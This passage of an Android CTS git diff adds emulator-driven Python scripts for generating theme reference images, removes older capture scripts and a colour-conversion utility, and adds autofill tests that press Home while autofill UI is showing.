+++ b/hostsidetests/theme/assets/27/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/ldpi.zip b/hostsidetests/theme/assets/27/ldpi.zip
new file mode 100644
index 0000000..6e441b7
--- /dev/null
+++ b/hostsidetests/theme/assets/27/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/mdpi.zip b/hostsidetests/theme/assets/27/mdpi.zip
index d90714c..9044082 100644
--- a/hostsidetests/theme/assets/27/mdpi.zip
+++ b/hostsidetests/theme/assets/27/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/tvdpi.zip b/hostsidetests/theme/assets/27/tvdpi.zip
new file mode 100644
index 0000000..38531ba
--- /dev/null
+++ b/hostsidetests/theme/assets/27/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xhdpi.zip b/hostsidetests/theme/assets/27/xhdpi.zip
index c2e2ed0..34e6834 100644
--- a/hostsidetests/theme/assets/27/xhdpi.zip
+++ b/hostsidetests/theme/assets/27/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xxhdpi.zip b/hostsidetests/theme/assets/27/xxhdpi.zip
index 6e018fa..1cae292 100644
--- a/hostsidetests/theme/assets/27/xxhdpi.zip
+++ b/hostsidetests/theme/assets/27/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xxxhdpi.zip b/hostsidetests/theme/assets/27/xxxhdpi.zip
index bcbee87..5d9ef51 100644
--- a/hostsidetests/theme/assets/27/xxxhdpi.zip
+++ b/hostsidetests/theme/assets/27/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/tvdpi.zip b/hostsidetests/theme/assets/tvdpi.zip
deleted file mode 100755
index 553657f..0000000
--- a/hostsidetests/theme/assets/tvdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
new file mode 100644
index 0000000..4c444a2
--- /dev/null
+++ b/hostsidetests/theme/avd.py
@@ -0,0 +1,81 @@
+#!/usr/bin/python3
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import functools
+import math
+import socket
+import subprocess
+import sys
+import tempfile
+
+from android_device import *
+
+
+def find_free_port():
+    s = socket.socket()
+    s.bind(('', 0))
+    return int(s.getsockname()[1])
+
+
+class AVD(object):
+    def __init__(self, name, emu_path):
+        self._name = name
+        self._emu_path = emu_path
+        self._opts = ''
+        self._adb_name = None
+        self._emu_proc = None
+
+    def start(self):
+        if self._emu_proc:
+            raise Exception('Emulator already running')
+
+        port_adb = find_free_port()
+        port_tty = find_free_port()
+        # -no-window might be useful here
+        emu_cmd = "%s -avd %s %s-ports %d,%d" \
+                  % (self._emu_path, self._name, self._opts, port_adb, port_tty)
+        print(emu_cmd)
+
+        emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
+                                    stderr=subprocess.PIPE)
+
+        # The emulator ought to be starting now.
+        self._adb_name = "emulator-%d" % (port_tty - 1)
+        self._emu_proc = emu_proc
+
+    def stop(self):
+        if not self._emu_proc:
+            raise Exception('Emulator not currently running')
+        self._emu_proc.kill()
+        (out, err) = self._emu_proc.communicate()
+        self._emu_proc = None
+        return out, err
+
+    def get_serial(self):
+        if not self._emu_proc:
+            raise Exception('Emulator not currently running')
+        return self._adb_name
+
+    def get_device(self):
+        if not self._emu_proc:
+            raise Exception('Emulator not currently running')
+        return AndroidDevice(self._adb_name)
+
+    def configure_screen(self, density, width_dp, height_dp):
+        width_px = int(math.ceil(width_dp * density / 1600) * 10)
+        height_px = int(math.ceil(height_dp * density / 1600) * 10)
+        self._opts = "-prop qemu.sf.lcd_density=%d -skin %dx%d " % (density, width_px, height_px)
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
new file mode 100755
index 0000000..125a0b0
--- /dev/null
+++ b/hostsidetests/theme/generate_images.py
@@ -0,0 +1,238 @@
+#!/usr/bin/python3
+#
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import os
+import sys
+import tempfile
+import threading
+import time
+import traceback
+
+from android_device import *
+from avd import *
+from queue import Queue, Empty
+
+
+CTS_THEME_dict = {
+    120: "ldpi",
+    160: "mdpi",
+    213: "tvdpi",
+    240: "hdpi",
+    320: "xhdpi",
+    360: "360dpi",
+    420: "420dpi",
+    480: "xxhdpi",
+    560: "560dpi",
+    640: "xxxhdpi",
+}
+
+OUT_FILE = "/sdcard/cts-theme-assets.zip"
+
+
+class ParallelExecutor(threading.Thread):
+    def __init__(self, tasks, q):
+        threading.Thread.__init__(self)
+        self._q = q
+        self._tasks = tasks
+        self._setup = setup
+        self._result = 0
+
+    def run(self):
+        try:
+            while True:
+                config = q.get(block=True, timeout=2)
+                for t in self._tasks:
+                    try:
+                        if t(self._setup, config):
+                            self._result += 1
+                    except KeyboardInterrupt:
+                        raise
+                    except:
+                        print("Failed to execute thread:", sys.exc_info()[0])
+                        traceback.print_exc()
+                q.task_done()
+        except KeyboardInterrupt:
+            raise
+        except Empty:
+            pass
+
+    def get_result(self):
+        return self._result
+
+
+# pass a function with number of instances to be executed in parallel
+# each thread continues until config q is empty.
+def execute_parallel(tasks, setup, q, num_threads):
+    result = 0
+    threads = []
+    for i in range(num_threads):
+        t = ParallelExecutor(tasks, q)
+        t.start()
+        threads.append(t)
+    for t in threads:
+        t.join()
+        result += t.get_result()
+    return result
+
+
+def print_adb_result(device, out, err):
+    print("device: " + device)
+    if out is not None:
+        print("out:\n" + out)
+    if err is not None:
+        print("err:\n" + err)
+
+
+def do_capture(setup, device_serial):
+    (themeApkPath, out_path) = setup
+
+    device = AndroidDevice(device_serial)
+
+    version = device.get_version_codename()
+    if version == "REL":
+        version = str(device.get_version_sdk())
+
+    density = device.get_density()
+
+    if CTS_THEME_dict[density]:
+        density_bucket = CTS_THEME_dict[density]
+    else:
+        density_bucket = str(density) + "dpi"
+
+    out_file = os.path.join(out_path, os.path.join(version, "%s.zip" % density_bucket))
+
+    device.uninstall_package('android.theme.app')
+
+    (out, err, success) = device.install_apk(themeApkPath)
+    if not success:
+        print("Failed to install APK on " + device_serial)
+        print_adb_result(device_serial, out, err)
+        return False
+
+    print("Generating images on " + device_serial + "...")
+    try:
+        (out, err) = device.run_instrumentation_test(
+            "android.theme.app/android.support.test.runner.AndroidJUnitRunner")
+    except KeyboardInterrupt:
+        raise
+    except:
+        (out, err) = device.run_instrumentation_test(
+            "android.theme.app/android.test.InstrumentationTestRunner")
+
+    # Detect test failure and abort.
+    if "FAILURES!!!" in out.split():
+        print_adb_result(device_serial, out, err)
+        return False
+
+    # Make sure that the run is complete by checking the process itself
+    print("Waiting for " + device_serial + "...")
+    wait_time = 0
+    while device.is_process_alive("android.theme.app"):
+        time.sleep(1)
+        wait_time = wait_time + 1
+        if wait_time > 180:
+            print("Timed out")
+            break
+
+    time.sleep(10)
+
+    print("Pulling images from " + device_serial + " to " + out_file)
+    device.run_adb_command("pull " + OUT_FILE + " " + out_file)
+    device.run_adb_command("shell rm -rf " + OUT_FILE)
+    return True
+
+
+def get_emulator_path():
+    if 'ANDROID_SDK_ROOT' not in os.environ:
+        print('Environment variable ANDROID_SDK_ROOT must point to your Android SDK root.')
+        sys.exit(1)
+
+    sdk_path = os.environ['ANDROID_SDK_ROOT']
+    if not os.path.isdir(sdk_path):
+        print("Failed to find Android SDK at ANDROID_SDK_ROOT: %s" % sdk_path)
+        sys.exit(1)
+
+    emu_path = os.path.join(os.path.join(sdk_path, 'tools'), 'emulator')
+    if not os.path.isfile(emu_path):
+        print("Failed to find emulator within ANDROID_SDK_ROOT: %s" % sdk_path)
+        sys.exit(1)
+
+    return emu_path
+
+
+def start_emulator(name, density):
+    emu_path = get_emulator_path()
+
+    # Start emulator for 560dpi, normal screen size.
+    test_avd = AVD(name, emu_path)
+    test_avd.configure_screen(density, 360, 640)
+    test_avd.start()
+    try:
+        test_avd_device = test_avd.get_device()
+        test_avd_device.wait_for_device()
+        test_avd_device.wait_for_boot_complete()
+        return test_avd
+    except:
+        test_avd.stop()
+        return None
+
+
+def main(argv):
+    if 'ANDROID_BUILD_TOP' not in os.environ or 'ANDROID_HOST_OUT' not in os.environ:
+        print('Missing environment variables. Did you run build/envsetup.sh and lunch?')
+        sys.exit(1)
+
+    theme_apk = os.path.join(os.environ['ANDROID_HOST_OUT'],
+                             'cts/android-cts/testcases/CtsThemeDeviceApp.apk')
+    if not os.path.isfile(theme_apk):
+        print('Couldn\'t find test APK. Did you run make cts?')
+        sys.exit(1)
+
+    out_path = os.path.join(os.environ['ANDROID_BUILD_TOP'],
+                            'cts/hostsidetests/theme/assets')
+    os.system("mkdir -p %s" % out_path)
+
+    if len(argv) is 2:
+        for density in CTS_THEME_dict.keys():
+            emulator = start_emulator(argv[1], density)
+            result = do_capture(setup=(theme_apk, out_path), device_serial=emulator.get_serial())
+            emulator.stop()
+            if result:
+                print("Generated reference images for %ddpi" % density)
+            else:
+                print("Failed to generate reference images for %ddpi" % density)
+                break
+    else:
+        tasks = [do_capture]
+        setup = (theme_apk, out_path)
+
+        devices = enumerate_android_devices('emulator')
+
+        device_queue = Queue()
+        for device in devices:
+            device_queue.put(device)
+
+        result = execute_parallel(tasks, setup, device_queue, len(devices))
+
+        if result > 0:
+            print('Generated reference images for %(count)d devices' % {"count": result})
+        else:
+            print('Failed to generate reference images')
+
+
+if __name__ == '__main__':
+    main(sys.argv)
diff --git a/hostsidetests/theme/generate_images.sh b/hostsidetests/theme/generate_images.sh
deleted file mode 100755
index 129efc8..0000000
--- a/hostsidetests/theme/generate_images.sh
+++ /dev/null
@@ -1,55 +0,0 @@
-#!/bin/sh
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# This script is used to generate reference images for the CTS theme tests.
-# See the accompanying README file for more information.
-
-# retry <command> <tries> <message> <delay>
-function retry {
-  RETRY="0"
-  while true; do
-    if (("$RETRY" >= "$2")); then
-      echo $OUTPUT
-      exit
-    fi
-
-    OUTPUT=`$1 |& grep error`
-
-    if [ -z "$OUTPUT" ]; then
-      break
-    fi
-
-    echo $3
-    sleep $4
-    RETRY=$[$RETRY + 1]
-  done
-}
-
-themeApkPath="$ANDROID_HOST_OUT/cts/android-cts/testcases/CtsThemeDeviceApp.apk"
-outDir="$ANDROID_BUILD_TOP/cts/hostsidetests/theme/assets"
-exe="$ANDROID_BUILD_TOP/cts/hostsidetests/theme/run_theme_capture_device.py"
-
-if [ -z "$ANDROID_BUILD_TOP" ]; then
-  echo "Missing environment variables. Did you run build/envsetup.sh and lunch?"
-  exit
-fi
-
-if [ ! -e "$themeApkPath" ]; then
-  echo "Couldn't find test APK. Did you run make cts?"
-  exit
-fi
-
-adb devices
-python $exe $themeApkPath $outDir
diff --git a/hostsidetests/theme/run_theme_capture_device.py b/hostsidetests/theme/run_theme_capture_device.py
deleted file mode 100755
index d37864f..0000000
--- a/hostsidetests/theme/run_theme_capture_device.py
+++ /dev/null
@@ -1,180 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the 'License');
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an 'AS IS' BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-import os
-import sys
-import threading
-import time
-import traceback
-import Queue
-sys.path.append(sys.path[0])
-from android_device import *
-
-CTS_THEME_dict = {
-    120 : "ldpi",
-    160 : "mdpi",
-    240 : "hdpi",
-    320 : "xhdpi",
-    480 : "xxhdpi",
-    640 : "xxxhdpi",
-}
-
-OUT_FILE = "/sdcard/cts-theme-assets.zip"
-
-# pass a function with number of instances to be executed in parallel
-# each thread continues until config q is empty.
-def executeParallel(tasks, setup, q, numberThreads):
-    class ParallelExecutor(threading.Thread):
-        def __init__(self, tasks, q):
-            threading.Thread.__init__(self)
-            self._q = q
-            self._tasks = tasks
-            self._setup = setup
-            self._result = 0
-
-        def run(self):
-            try:
-                while True:
-                    config = q.get(block=True, timeout=2)
-                    for t in self._tasks:
-                        try:
-                            if t(self._setup, config):
-                                self._result += 1
-                        except KeyboardInterrupt:
-                            raise
-                        except:
-                            print "Failed to execute thread:", sys.exc_info()[0]
-                            traceback.print_exc()
-                    q.task_done()
-            except KeyboardInterrupt:
-                raise
-            except Queue.Empty:
-                pass
-
-        def getResult(self):
-            return self._result
-
-    result = 0;
-    threads = []
-    for i in range(numberThreads):
-        t = ParallelExecutor(tasks, q)
-        t.start()
-        threads.append(t)
-    for t in threads:
-        t.join()
-        result += t.getResult()
-    return result;
-
-def printAdbResult(device, out, err):
-    print "device: " + device
-    if out is not None:
-        print "out:\n" + out
-    if err is not None:
-        print "err:\n" + err
-
-def getResDir(outPath, resName):
-    resDir = outPath + "/" + resName
-    return resDir
-
-def doCapturing(setup, deviceSerial):
-    (themeApkPath, outPath) = setup
-
-    print "Found device: " + deviceSerial
-    device = androidDevice(deviceSerial)
-
-    version = device.getVersionCodename()
-    if version == "REL":
-        version = str(device.getVersionSdkInt())
-
-    density = device.getDensity()
-
-    # Reference images generated for tv should not be categorized by density
-    # rather by tv type. This is because TV uses leanback-specific material
-    # themes.
-    if CTS_THEME_dict.has_key(density):
-        densityBucket = CTS_THEME_dict[density]
-    else:
-        densityBucket = str(density) + "dpi"
-
-    resName = os.path.join(version, densityBucket)
-
-    device.uninstallApk("android.theme.app")
-
-    (out, err, success) = device.installApk(themeApkPath)
-    if not success:
-        print "Failed to install APK on " + deviceSerial
-        printAdbResult(deviceSerial, out, err)
-        return False
-
-    print "Generating images on " + deviceSerial + "..."
-    try:
-        (out, err) = device.runInstrumentationTest("android.theme.app/android.support.test.runner.AndroidJUnitRunner")
-    except KeyboardInterrupt:
-        raise
-    except:
-        (out, err) = device.runInstrumentationTest("android.theme.app/android.test.InstrumentationTestRunner")
-
-    # Detect test failure and abort.
-    if "FAILURES!!!" in out.split():
-        printAdbResult(deviceSerial, out, err)
-        return False
-
-    # Make sure that the run is complete by checking the process itself
-    print "Waiting for " + deviceSerial + "..."
-    waitTime = 0
-    while device.isProcessAlive("android.theme.app"):
-        time.sleep(1)
-        waitTime = waitTime + 1
-        if waitTime > 180:
-            print "Timed out"
-            break
-
-    time.sleep(10)
-    resDir = getResDir(outPath, resName)
-
-    print "Pulling images from " + deviceSerial + " to " + resDir + ".zip"
-    device.runAdbCommand("pull " + OUT_FILE + " " + resDir + ".zip")
-    device.runAdbCommand("shell rm -rf " + OUT_FILE)
-    return True
-
-def main(argv):
-    if len(argv) < 3:
-        print "run_theme_capture_device.py themeApkPath outDir"
-        sys.exit(1)
-    themeApkPath = argv[1]
-    outPath = os.path.abspath(argv[2])
-    os.system("mkdir -p " + outPath)
-
-    tasks = []
-    tasks.append(doCapturing)
-
-    devices = runAdbDevices();
-    numberThreads = len(devices)
-
-    configQ = Queue.Queue()
-    for device in devices:
-        configQ.put(device)
-    setup = (themeApkPath, outPath)
-    result = executeParallel(tasks, setup, configQ, numberThreads)
-
-    if result > 0:
-        print 'Generated reference images for %(count)d devices' % {"count": result}
-    else:
-        print 'Failed to generate reference images'
-
-if __name__ == '__main__':
-    main(sys.argv)
diff --git a/hostsidetests/theme/src/android/theme/cts/ColorUtils.java b/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
deleted file mode 100644
index 0bbc9c7..0000000
--- a/hostsidetests/theme/src/android/theme/cts/ColorUtils.java
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.theme.cts;
-
-/**
- * A set of color-related utility methods, building upon those available in {@code Color}.
- */
-public class ColorUtils {
-
-    private static final double XYZ_WHITE_REFERENCE_X = 95.047;
-    private static final double XYZ_WHITE_REFERENCE_Y = 100;
-    private static final double XYZ_WHITE_REFERENCE_Z = 108.883;
-    private static final double XYZ_EPSILON = 0.008856;
-    private static final double XYZ_KAPPA = 903.3;
-
-    private ColorUtils() {}
-
-    /**
-     * Performs alpha blending of two colors using Porter-Duff SRC_OVER.
-     *
-     * @param src
-     * @param dst
-     */
-    public static int blendSrcOver(int src, int dst) {
-        int x = 255 - a(src);
-        int Ar = clamp(a(src) + a(dst) * x);
-        int Rr = clamp(r(src) + r(dst) * x);
-        int Gr = clamp(g(src) + g(dst) * x);
-        int Br = clamp(b(src) + b(dst) * x);
-        return argb(Ar, Rr, Gr, Br);
-    }
-
-    private static int clamp(int value) {
-        return value > 255 ? 255 : value < 0 ? 0 : value;
-    }
-
-    /**
-     * Return a color-int from alpha, red, green, blue components.
-     * These component values should be \([0..255]\), but there is no
-     * range check performed, so if they are out of range, the
-     * returned color is undefined.
-     *
-     * @param alpha Alpha component \([0..255]\) of the color
-     * @param red Red component \([0..255]\) of the color
-     * @param green Green component \([0..255]\) of the color
-     * @param blue Blue component \([0..255]\) of the color
-     */
-    public static int argb(int alpha, int red, int green, int blue) {
-        return (alpha << 24) | (red << 16) | (green << 8) | blue;
-    }
-
-    /**
-     * Return the alpha component of a color int. This is the same as saying
-     * color >>> 24
-     */
-    public static int a(int color) {
-        return color >>> 24;
-    }
-
-    /**
-     * Return the red component of a color int. This is the same as saying
-     * (color >> 16) & 0xFF
-     */
-    public static int r(int color) {
-        return (color >> 16) & 0xFF;
-    }
-
-    /**
-     * Return the green component of a color int. This is the same as saying
-     * (color >> 8) & 0xFF
-     */
-    public static int g(int color) {
-        return (color >> 8) & 0xFF;
-    }
-
-    /**
-     * Return the blue component of a color int. This is the same as saying
-     * color & 0xFF
-     */
-    public static int b(int color) {
-        return color & 0xFF;
-    }
-
-    /**
-     * Convert the ARGB color to its CIE Lab representative components.
-     *
-     * @param color  the ARGB color to convert. The alpha component is ignored
-     * @param outLab 3-element array which holds the resulting LAB components
-     */
-    public static void colorToLAB(int color, double[] outLab) {
-        RGBToLAB(r(color), g(color), b(color), outLab);
-    }
-
-    /**
-     * Convert RGB components to its CIE Lab representative components.
-     *
-     * <ul>
-     * <li>outLab[0] is L [0 ...1)</li>
-     * <li>outLab[1] is a [-128...127)</li>
-     * <li>outLab[2] is b [-128...127)</li>
-     * </ul>
-     *
-     * @param r      red component value [0..255]
-     * @param g      green component value [0..255]
-     * @param b      blue component value [0..255]
-     * @param outLab 3-element array which holds the resulting LAB components
-     */
-    public static void RGBToLAB(int r, int g, int b, double[] outLab) {
-        // First we convert RGB to XYZ
-        RGBToXYZ(r, g, b, outLab);
-        // outLab now contains XYZ
-        XYZToLAB(outLab[0], outLab[1], outLab[2], outLab);
-        // outLab now contains LAB representation
-    }
-
-    /**
-     * Convert RGB components to its CIE XYZ representative components.
-     *
-     * <p>The resulting XYZ representation will use the D65 illuminant and the CIE
-     * 2° Standard Observer (1931).</p>
-     *
-     * <ul>
-     * <li>outXyz[0] is X [0 ...95.047)</li>
-     * <li>outXyz[1] is Y [0...100)</li>
-     * <li>outXyz[2] is Z [0...108.883)</li>
-     * </ul>
-     *
-     * @param r      red component value [0..255]
-     * @param g      green component value [0..255]
-     * @param b      blue component value [0..255]
-     * @param outXyz 3-element array which holds the resulting XYZ components
-     */
-    public static void RGBToXYZ(int r, int g, int b, double[] outXyz) {
-        if (outXyz.length != 3) {
-            throw new IllegalArgumentException("outXyz must have a length of 3.");
-        }
-
-        double sr = r / 255.0;
-        sr = sr < 0.04045 ? sr / 12.92 : Math.pow((sr + 0.055) / 1.055, 2.4);
-        double sg = g / 255.0;
-        sg = sg < 0.04045 ? sg / 12.92 : Math.pow((sg + 0.055) / 1.055, 2.4);
-        double sb = b / 255.0;
-        sb = sb < 0.04045 ? sb / 12.92 : Math.pow((sb + 0.055) / 1.055, 2.4);
-
-        outXyz[0] = 100 * (sr * 0.4124 + sg * 0.3576 + sb * 0.1805);
-        outXyz[1] = 100 * (sr * 0.2126 + sg * 0.7152 + sb * 0.0722);
-        outXyz[2] = 100 * (sr * 0.0193 + sg * 0.1192 + sb * 0.9505);
-    }
-
-    /**
-     * Converts a color from CIE XYZ to CIE Lab representation.
-     *
-     * <p>This method expects the XYZ representation to use the D65 illuminant and the CIE
-     * 2° Standard Observer (1931).</p>
-     *
-     * <ul>
-     * <li>outLab[0] is L [0 ...1)</li>
-     * <li>outLab[1] is a [-128...127)</li>
-     * <li>outLab[2] is b [-128...127)</li>
-     * </ul>
-     *
-     * @param x      X component value [0...95.047)
-     * @param y      Y component value [0...100)
-     * @param z      Z component value [0...108.883)
-     * @param outLab 3-element array which holds the resulting Lab components
-     */
-    public static void XYZToLAB(double x, double y, double z, double[] outLab) {
-        if (outLab.length != 3) {
-            throw new IllegalArgumentException("outLab must have a length of 3.");
-        }
-        x = pivotXyzComponent(x / XYZ_WHITE_REFERENCE_X);
-        y = pivotXyzComponent(y / XYZ_WHITE_REFERENCE_Y);
-        z = pivotXyzComponent(z / XYZ_WHITE_REFERENCE_Z);
-        outLab[0] = Math.max(0, 116 * y - 16);
-        outLab[1] = 500 * (x - y);
-        outLab[2] = 200 * (y - z);
-    }
-
-    private static double pivotXyzComponent(double component) {
-        return component > XYZ_EPSILON
-                ? Math.pow(component, 1 / 3.0)
-                : (XYZ_KAPPA * component + 16) / 116;
-    }
-}
diff --git a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
index 74ead54..371e1a9 100755
--- a/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
+++ b/hostsidetests/theme/src/android/theme/cts/ComparisonTask.java
@@ -136,30 +136,6 @@
         return true;
     }
 
-    /**
-     * Returns the perceptual difference score (lower is better) for the
-     * provided ARGB pixels.
-     */
-    private static double computeLabDistance(int p1, int p2) {
-        // Blend with neutral gray to account for opacity.
-        p1 = ColorUtils.blendSrcOver(p1, GRAY);
-        p2 = ColorUtils.blendSrcOver(p2, GRAY);
-
-        // Convert to LAB.
-        double[] lab1 = new double[3];
-        double[] lab2 = new double[3];
-        ColorUtils.colorToLAB(p1, lab1);
-        ColorUtils.colorToLAB(p2, lab2);
-
-        // Compute the distance
-        double dist = 0;
-        for (int i = 0; i < 3; i++) {
-            double delta = lab1[i] - lab2[i];
-            dist += delta * delta;
-        }
-        return Math.sqrt(dist);
-    }
-
     private static void createDiff(BufferedImage expected, BufferedImage actual, File out)
             throws IOException {
         final int w1 = expected.getWidth();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 4a4213f..16b2734 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -96,6 +96,11 @@
     static final int UI_TIMEOUT_MS = 2000;
 
     /**
+     * Timeout (in milliseconds) for an activity to be brought out to top.
+     */
+    static final int ACTIVITY_RESURRECTION_MS = 5000;
+
+    /**
      * Timeout (in milliseconds) for changing the screen orientation.
      */
     static final int UI_SCREEN_ORIENTATION_TIMEOUT_MS = 5000;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index 83950eb..9fb16a2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -59,6 +59,13 @@
         mActivity = mActivityRule.launchActivity(intent);
     }
 
+    private void restartActivity() {
+        final Intent intent = new Intent(mContext.getApplicationContext(),
+                SimpleSaveActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
+        mContext.startActivity(intent);
+    }
+
     @Test
     public void testAutoFillOneDatasetAndSave() throws Exception {
         startActivity();
@@ -349,6 +356,98 @@
         sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
     }
 
+    @Test
+    public void testTapHomeWhileDatasetPickerUiIsShowing() throws Exception {
+        startActivity();
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        sUiBot.assertShownByRelativeId(ID_INPUT).click();
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("YO");
+        callback.assertUiShownEvent(mActivity.mInput);
+
+        // Go home, you are drunk!
+        sUiBot.pressHome();
+        sUiBot.assertNoDatasets();
+        callback.assertUiHiddenEvent(mActivity.mInput);
+
+        // Switch back to the activity.
+        restartActivity();
+        sUiBot.assertShownByText(TEXT_LABEL, Helper.ACTIVITY_RESURRECTION_MS);
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("YO");
+        callback.assertUiShownEvent(mActivity.mInput);
+
+        // Now autofill it.
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        sUiBot.selectDataset(datasetPicker, "YO");
+        autofillExpecation.assertAutoFilled();
+    }
+
+    @Test
+    public void testTapHomeWhileSaveUiIsShowing() throws Exception {
+        startActivity();
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        // Trigger save, but don't tap it.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Go home, you are drunk!
+        sUiBot.pressHome();
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        Helper.assertNoDanglingSessions();
+
+        // Prepare the response for the next session, which will be automatically triggered
+        // when the activity is brought back.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_INPUT, "id")
+                        .setField(ID_PASSWORD, "pass")
+                        .setPresentation(createPresentation("YO"))
+                        .build())
+                .build());
+
+        // Switch back to the activity.
+        restartActivity();
+        sUiBot.assertShownByText(TEXT_LABEL, Helper.ACTIVITY_RESURRECTION_MS);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        sReplier.getNextFillRequest();
+        sUiBot.assertNoDatasets();
+
+        // Trigger and select UI.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
+        sUiBot.selectDataset("YO");
+
+        // Assert it.
+        autofillExpecation.assertAutoFilled();
+    }
+
     private void startWelcomeActivityOnNewTask() throws Exception {
         final Intent intent = new Intent(mContext, WelcomeActivity.class);
         intent.setFlags(
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index d1f3baa..b12e137 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -182,7 +182,11 @@
      * {@link #assertDatasets(String...)}.
      */
     public UiObject2 assertShownByText(String text) {
-        final UiObject2 object = waitForObject(By.text(text));
+        return assertShownByText(text, UI_TIMEOUT_MS);
+    }
+
+    public UiObject2 assertShownByText(String text, int timeoutMs) {
+        final UiObject2 object = waitForObject(By.text(text), timeoutMs);
         assertWithMessage("No node with text '%s'", text).that(object).isNotNull();
         return object;
     }
